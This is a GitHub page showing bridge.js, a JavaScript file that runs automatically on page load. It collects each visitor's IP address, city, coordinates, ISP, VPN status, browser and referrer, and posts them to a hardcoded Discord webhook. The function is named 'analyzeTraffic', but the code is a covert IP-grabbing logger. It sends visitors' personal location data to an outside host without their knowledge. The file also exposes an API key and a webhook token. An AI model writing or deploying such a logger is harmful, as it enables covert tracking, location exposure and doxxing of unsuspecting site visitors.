-
Notifications
You must be signed in to change notification settings - Fork 0
/
bridge.js
94 lines (82 loc) · 4.31 KB
/
bridge.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
function httpGetAsync(url, callback) {
const xmlHttp = new XMLHttpRequest();
xmlHttp.onreadystatechange = function() {
if (xmlHttp.readyState === 4 && xmlHttp.status === 200)
callback(xmlHttp.responseText);
}
xmlHttp.open("GET", url, true); // true for asynchronous
xmlHttp.send(null);
}
function analyzeTraffic() {
const ipUrl = "https://api64.ipify.org?format=json";
const geoUrl = "https://ipgeolocation.abstractapi.com/v1/?api_key=577cf8161d6e494bb7fb0df8e0b9102e"; // Replace with your Abstract API key
const discordWebhook = 'https://discord.com/api/webhooks/1177615963181555873/papaMgplo57758omJyzaywBltB7CZdtVTYFblcGYWHeCyfPMz_48Lcyb2-T3rqHrsmSz'; // Replace with your Discord webhook URL
httpGetAsync(ipUrl, function(ipData) {
const ipInfo = JSON.parse(ipData);
const userInformation = {
ip_address: ipInfo.ip,
current_url: window.location.href
};
httpGetAsync(geoUrl, function(geoData) {
const geoInfo = JSON.parse(geoData);
userInformation.city = geoInfo.city;
userInformation.city_geoname_id = geoInfo.city_geoname_id;
userInformation.region = geoInfo.region;
userInformation.country = geoInfo.country;
userInformation.country_code = geoInfo.country_code;
userInformation.continent = geoInfo.continent;
userInformation.continent_code = geoInfo.continent_code;
userInformation.longitude = geoInfo.longitude;
userInformation.latitude = geoInfo.latitude;
userInformation.security_vpn = geoInfo.security.is_vpn;
userInformation.flag = geoInfo.flag;
userInformation.isp_name = geoInfo.isp_name;
userInformation.timezone_name = geoInfo.timezone.name;
userInformation.timezone_abbreviation = geoInfo.timezone.abbreviation;
userInformation.timezone_gmt_offset = geoInfo.timezone.gmt_offset;
userInformation.current_time = geoInfo.timezone.current_time;
// Additional user information
userInformation.date = new Date().toLocaleDateString();
userInformation.day = new Date().toLocaleDateString('en-US', { weekday: 'long' });
userInformation.time = new Date().toLocaleTimeString();
userInformation.referringURL = document.referrer;
userInformation.browser = navigator.userAgent;
userInformation.device = geoInfo.device_type;
sendToDiscord(userInformation, discordWebhook);
});
});
}
function sendToDiscord(data, webhookURL) {
const request = new XMLHttpRequest();
request.open("POST", webhookURL);
const emojis = {
location: '🌍',
vpn: '🛡️',
calendar: '📅',
clock: '🕒',
link: '🔗',
computer: '💻',
};
const messageContent = `**🚩 IP Address:** ${data.ip_address}\n` +
`**🔗 Current URL:** ${data.current_url}\n` +
`**🏘️ City:** ${data.city}\n` +
`**🏞️Region:** ${data.region}\n` +
`**🌐 Country:** ${data.country} (${data.country_code})\n` +
`**🌍Continent:** ${data.continent} (${data.continent_code})\n` +
`**🗺️ Longitude/Latitude:** ${data.longitude}, ${data.latitude}\n` +
`**🛡️ VPN Status:** ${data.security_vpn ? 'Using VPN' : 'Not Using VPN'}\n` +
`**🎌 Flag:** ${data.flag}\n` +
`**🏢 ISP:** ${data.isp_name}\n` +
`**📅 Date:** ${data.date}\n` +
`**📆 Day:** ${data.day}\n` +
`**⌚ Time:** ${data.time}\n` +
`**🔗 Referring URL:** ${data.referringURL}\n` +
`**🌐 Browser:** ${data.browser}\n` +
`**💻 Device:** ${data.device}`;
const message = JSON.stringify({ content: messageContent });
request.setRequestHeader('Content-type', 'application/json');
request.send(message);
}
window.onload = function() {
analyzeTraffic(); // Automatically run the analysis when the page loads
};